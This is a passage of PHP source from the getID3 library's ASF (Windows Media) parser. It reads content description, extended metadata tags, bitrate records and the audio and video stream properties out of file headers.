							$thisfile_asf_errorcorrectionobject['span']                  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1));
							$offset += 1;
							$thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['virtual_chunk_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['silence_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['silence_data']          = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']);
							$offset += $thisfile_asf_errorcorrectionobject['silence_data_length'];
							break;

						default:
							$this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['reserved']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or  "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}');
							//return false;
							break;
					}

					break;

				case GETID3_ASF_Content_Description_Object:
					// Content Description Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Content Description object - GETID3_ASF_Content_Description_Object
					// Object Size                  QWORD        64              // size of Content Description object, including 34 bytes of Content Description Object header
					// Title Length                 WORD         16              // number of bytes in Title field
					// Author Length                WORD         16              // number of bytes in Author field
					// Copyright Length             WORD         16              // number of bytes in Copyright field
					// Description Length           WORD         16              // number of bytes in Description field
					// Rating Length                WORD         16              // number of bytes in Rating field
					// Title                        WCHAR        16              // array of Unicode characters - Title
					// Author                       WCHAR        16              // array of Unicode characters - Author
					// Copyright                    WCHAR        16              // array of Unicode characters - Copyright
					// Description                  WCHAR        16              // array of Unicode characters - Description
					// Rating                       WCHAR        16              // array of Unicode characters - Rating

					// shortcut
					$thisfile_asf['content_description_object'] = array();
					$thisfile_asf_contentdescriptionobject      = &$thisfile_asf['content_description_object'];

					$thisfile_asf_contentdescriptionobject['offset']                = $NextObjectOffset + $offset;
					$thisfile_asf_contentdescriptionobject['objectid']              = $NextObjectGUID;
					$thisfile_asf_contentdescriptionobject['objectid_guid']         = $NextObjectGUIDtext;
					$thisfile_asf_contentdescriptionobject['objectsize']            = $NextObjectSize;
					$thisfile_asf_contentdescriptionobject['title_length']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['author_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['copyright_length']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['description_length']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['rating_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['title']                 = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']);
					$offset += $thisfile_asf_contentdescriptionobject['title_length'];
					$thisfile_asf_contentdescriptionobject['author']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']);
					$offset += $thisfile_asf_contentdescriptionobject['author_length'];
					$thisfile_asf_contentdescriptionobject['copyright']             = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']);
					$offset += $thisfile_asf_contentdescriptionobject['copyright_length'];
					$thisfile_asf_contentdescriptionobject['description']           = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']);
					$offset += $thisfile_asf_contentdescriptionobject['description_length'];
					$thisfile_asf_contentdescriptionobject['rating']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']);
					$offset += $thisfile_asf_contentdescriptionobject['rating_length'];

					$ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating');
					foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) {
						if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) {
							$thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]);
						}
					}
					break;

				case GETID3_ASF_Extended_Content_Description_Object:
					// Extended Content Description Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object
					// Object Size                  QWORD        64              // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header
					// Content Descriptors Count    WORD         16              // number of entries in Content Descriptors list
					// Content Descriptors          array of:    variable        //
					// * Descriptor Name Length     WORD         16              // size in bytes of Descriptor Name field
					// * Descriptor Name            WCHAR        variable        // array of Unicode characters - Descriptor Name
					// * Descriptor Value Data Type WORD         16              // Lookup array:
																					// 0x0000 = Unicode String (variable length)
																					// 0x0001 = BYTE array     (variable length)
																					// 0x0002 = BOOL           (DWORD, 32 bits)
																					// 0x0003 = DWORD          (DWORD, 32 bits)
																					// 0x0004 = QWORD          (QWORD, 64 bits)
																					// 0x0005 = WORD           (WORD,  16 bits)
					// * Descriptor Value Length    WORD         16              // number of bytes stored in Descriptor Value field
					// * Descriptor Value           variable     variable        // value for Content Descriptor

					// shortcut
					$thisfile_asf['extended_content_description_object'] = array();
					$thisfile_asf_extendedcontentdescriptionobject       = &$thisfile_asf['extended_content_description_object'];

					$thisfile_asf_extendedcontentdescriptionobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_extendedcontentdescriptionobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_extendedcontentdescriptionobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_extendedcontentdescriptionobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) {
						// shortcut
						$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array();
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current                 = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter];

						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset']  = $offset + 30;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']         = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']);
						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'];
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']        = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']);
						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'];
						switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
							case 0x0000: // Unicode string
								break;

							case 0x0001: // BYTE array
								// do nothing
								break;

							case 0x0002: // BOOL
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								break;

							case 0x0003: // DWORD
							case 0x0004: // QWORD
							case 0x0005: // WORD
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								break;

							default:
								$this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')');
								//return false;
								break;
						}
						switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) {

							case 'wm/albumartist':
							case 'artist':
								// Note: not 'artist', that comes from 'author' tag
								$thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/albumtitle':
							case 'album':
								$thisfile_asf_comments['album']  = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/genre':
							case 'genre':
								$thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/partofset':
								$thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/tracknumber':
							case 'tracknumber':
								// be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character)
								$thisfile_asf_comments['track'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								foreach ($thisfile_asf_comments['track'] as $key => $value) {
									if (preg_match('/^[0-9\x00]+$/', $value)) {
										$thisfile_asf_comments['track'][$key] = intval(str_replace("\x00", '', $value));
									}
								}
								break;

							case 'wm/track':
								if (empty($thisfile_asf_comments['track'])) {
									$thisfile_asf_comments['track'] = array(1 + $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								}
								break;

							case 'wm/year':
							case 'year':
							case 'date':
								$thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'wm/lyrics':
							case 'lyrics':
								$thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
								break;

							case 'isvbr':
								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) {
									$thisfile_audio['bitrate_mode'] = 'vbr';
									$thisfile_video['bitrate_mode'] = 'vbr';
								}
								break;

							case 'id3':
								$this->getid3->include_module('tag.id3v2');

								$getid3_id3v2 = new getid3_id3v2($this->getid3);
								$getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								unset($getid3_id3v2);

								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = '<value too large to display>';
								}
								break;

							case 'wm/encodingtime':
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								$thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']);
								break;

							case 'wm/picture':
								$WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
								foreach ($WMpicture as $key => $value) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value;
								}
								unset($WMpicture);
/*
								$wm_picture_offset = 0;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1));
								$wm_picture_offset += 1;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type']    = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']);
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size']    = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4));
								$wm_picture_offset += 4;

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
								do {
									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
									$wm_picture_offset += 2;
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair;
								} while ($next_byte_pair !== "\x00\x00");

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = '';
								do {
									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
									$wm_picture_offset += 2;
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair;
								} while ($next_byte_pair !== "\x00\x00");

								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset;
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset);
								unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);

								$imageinfo = array();
								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
								$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo);
								unset($imageinfo);
								if (!empty($imagechunkcheck)) {
									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
								}
								if (!isset($thisfile_asf_comments['picture'])) {
									$thisfile_asf_comments['picture'] = array();
								}
								$thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']);
*/
								break;

							default:
								switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
									case 0: // Unicode string
										if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') {
											$thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
										}
										break;

									case 1:
										break;
								}
								break;
						}

					}
					break;

				case GETID3_ASF_Stream_Bitrate_Properties_Object:
					// Stream Bitrate Properties Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object
					// Object Size                  QWORD        64              // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header
					// Bitrate Records Count        WORD         16              // number of records in Bitrate Records
					// Bitrate Records              array of:    variable        //
					// * Flags                      WORD         16              //
					// * * Stream Number            bits         7  (0x007F)     // number of this stream
					// * * Reserved                 bits         9  (0xFF80)     // hardcoded: 0
					// * Average Bitrate            DWORD        32              // in bits per second

					// shortcut
					$thisfile_asf['stream_bitrate_properties_object'] = array();
					$thisfile_asf_streambitratepropertiesobject       = &$thisfile_asf['stream_bitrate_properties_object'];

					$thisfile_asf_streambitratepropertiesobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_streambitratepropertiesobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_streambitratepropertiesobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_streambitratepropertiesobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_streambitratepropertiesobject['bitrate_records_count']     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F;
						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
					}
					break;

				case GETID3_ASF_Padding_Object:
					// Padding Object: (optional)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Padding object - GETID3_ASF_Padding_Object
					// Object Size                  QWORD        64              // size of Padding object, including 24 bytes of ASF Padding Object header
					// Padding Data                 BYTESTREAM   variable        // ignore

					// shortcut
					$thisfile_asf['padding_object'] = array();
					$thisfile_asf_paddingobject     = &$thisfile_asf['padding_object'];

					$thisfile_asf_paddingobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_paddingobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_paddingobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_paddingobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_paddingobject['padding_length']            = $thisfile_asf_paddingobject['objectsize'] - 16 - 8;
					$thisfile_asf_paddingobject['padding']                   = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']);
					$offset += ($NextObjectSize - 16 - 8);
					break;

				case GETID3_ASF_Extended_Content_Encryption_Object:
				case GETID3_ASF_Content_Encryption_Object:
					// WMA DRM - just ignore
					$offset += ($NextObjectSize - 16 - 8);
					break;

				default:
					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
					if ($this->GUIDname($NextObjectGUIDtext)) {
						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8));
					}
					$offset += ($NextObjectSize - 16 - 8);
					break;
			}
		}
		if (isset($thisfile_asf_streambitrateproperties['bitrate_records_count'])) {
			$ASFbitrateAudio = 0;
			$ASFbitrateVideo = 0;
			for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitrateproperties['bitrate_records_count']; $BitrateRecordsCounter++) {
				if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) {
					switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) {
						case 1:
							$ASFbitrateVideo += $thisfile_asf_streambitrateproperties['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
							break;

						case 2:
							$ASFbitrateAudio += $thisfile_asf_streambitrateproperties['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
							break;

						default:
							// do nothing
							break;
					}
				}
			}
			if ($ASFbitrateAudio > 0) {
				$thisfile_audio['bitrate'] = $ASFbitrateAudio;
			}
			if ($ASFbitrateVideo > 0) {
				$thisfile_video['bitrate'] = $ASFbitrateVideo;
			}
		}
		if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) {

			$thisfile_audio['bitrate'] = 0;
			$thisfile_video['bitrate'] = 0;

			foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) {

				switch ($streamdata['stream_type']) {
					case GETID3_ASF_Audio_Media:
						// Field Name                   Field Type   Size (bits)
						// Codec ID / Format Tag        WORD         16              // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure
						// Number of Channels           WORD         16              // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure
						// Samples Per Second           DWORD        32              // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure
						// Average number of Bytes/sec  DWORD        32              // bytes/sec of audio stream  - defined as nAvgBytesPerSec field of WAVEFORMATEX structure
						// Block Alignment              WORD         16              // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure
						// Bits per sample              WORD         16              // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure
						// Codec Specific Data Size     WORD         16              // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure
						// Codec Specific Data          BYTESTREAM   variable        // array of codec-specific data bytes

						// shortcut
						$thisfile_asf['audio_media'][$streamnumber] = array();
						$thisfile_asf_audiomedia_currentstream      = &$thisfile_asf['audio_media'][$streamnumber];

						$audiomediaoffset = 0;

						$thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16));
						$audiomediaoffset += 16;

						$thisfile_audio['lossless'] = false;
						switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) {
							case 0x0001: // PCM
							case 0x0163: // WMA9 Lossless
								$thisfile_audio['lossless'] = true;
								break;
						}

						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) {
							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
									$thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate'];
									$thisfile_audio['bitrate'] += $dataarray['bitrate'];
									break;
								}
							}
						} else {
							if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) {
								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8;
							} elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) {
								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate'];
							}
						}
						$thisfile_audio['streams'][$streamnumber]                = $thisfile_asf_audiomedia_currentstream;
						$thisfile_audio['streams'][$streamnumber]['wformattag']  = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag'];
						$thisfile_audio['streams'][$streamnumber]['lossless']    = $thisfile_audio['lossless'];
						$thisfile_audio['streams'][$streamnumber]['bitrate']     = $thisfile_audio['bitrate'];
						$thisfile_audio['streams'][$streamnumber]['dataformat']  = 'wma';
						unset($thisfile_audio['streams'][$streamnumber]['raw']);

						$thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2));
						$audiomediaoffset += 2;
						$thisfile_asf_audiomedia_currentstream['codec_data']      = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']);
						$audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size'];

						break;

					case GETID3_ASF_Video_Media:
						// Field Name                   Field Type   Size (bits)
						// Encoded Image Width          DWORD        32              // width of image in pixels
						// Encoded Image Height         DWORD        32              // height of image in pixels
						// Reserved Flags               BYTE         8               // hardcoded: 0x02
						// Format Data Size             WORD         16              // size of Format Data field in bytes
						// Format Data                  array of:    variable        //
						// * Format Data Size           DWORD        32              // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure
						// * Image Width                LONG         32              // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure
						// * Image Height               LONG         32              // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure
						// * Reserved                   WORD         16              // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure
						// * Bits Per Pixel Count       WORD         16              // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure
						// * Compression ID             FOURCC       32              // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure
						// * Image Size                 DWORD        32              // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure
						// * Horizontal Pixels / Meter  DWORD        32              // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure
						// * Vertical Pixels / Meter    DWORD        32              // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure
						// * Colors Used Count          DWORD        32              // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure
						// * Important Colors Count     DWORD        32              // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure
						// * Codec Specific Data        BYTESTREAM   variable        // array of codec-specific data bytes

						// shortcut
						$thisfile_asf['video_media'][$streamnumber] = array();
						$thisfile_asf_videomedia_currentstream      = &$thisfile_asf['video_media'][$streamnumber];

						$videomediaoffset = 0;
						$thisfile_asf_videomedia_currentstream['image_width']                     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['image_height']                    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['flags']                           = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1));
						$videomediaoffset += 1;
						$thisfile_asf_videomedia_currentstream['format_data_size']                = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_width']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_height']     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['reserved']         = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel']   = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
						$videomediaoffset += 2;
						$thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']     = substr($streamdata['type_specific_data'], $videomediaoffset, 4);
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['image_size']       = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['horizontal_pels']  = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['vertical_pels']    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['colors_used']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['colors_important'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
						$videomediaoffset += 4;
						$thisfile_asf_videomedia_currentstream['format_data']['codec_data']       = substr($streamdata['type_specific_data'], $videomediaoffset);

						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) {
							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
									$thisfile_asf_videomedia_currentstream['bitrate'] = $dataarray['bitrate'];
									$thisfile_video['streams'][$streamnumber]['bitrate'] = $dataarray['bitrate'];
									$thisfile_video['bitrate'] += $dataarray['bitrate'];
									break;
								}
							}
						}

						$thisfile_asf_videomedia_currentstream['format_data']['codec'] = getid3_riff::fourccLookup($thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc']);

						$thisfile_video['streams'][$streamnumber]['fourcc']          = $thisfile_asf_videomedia_currentstream['format_data']['codec_fourcc'];
						$thisfile_video['streams'][$streamnumber]['codec']           = $thisfile_asf_videomedia_currentstream['format_data']['codec'];
						$thisfile_video['streams'][$streamnumber]['resolution_x']    = $thisfile_asf_videomedia_currentstream['image_width'];
						$thisfile_video['streams'][$streamnumber]['resolution_y']    = $thisfile_asf_videomedia_currentstream['image_height'];
						$thisfile_video['streams'][$streamnumber]['bits_per_sample'] = $thisfile_asf_videomedia_currentstream['format_data']['bits_per_pixel'];
						break;

					default:
						break;
				}
			}
		}

		while ($this->ftell() < $info['avdataend']) {
			$NextObjectDataHeader = $this->fread(24);
			$offset = 0;
			$NextObjectGUID = substr($NextObjectDataHeader, 0, 16);
			$offset += 16;
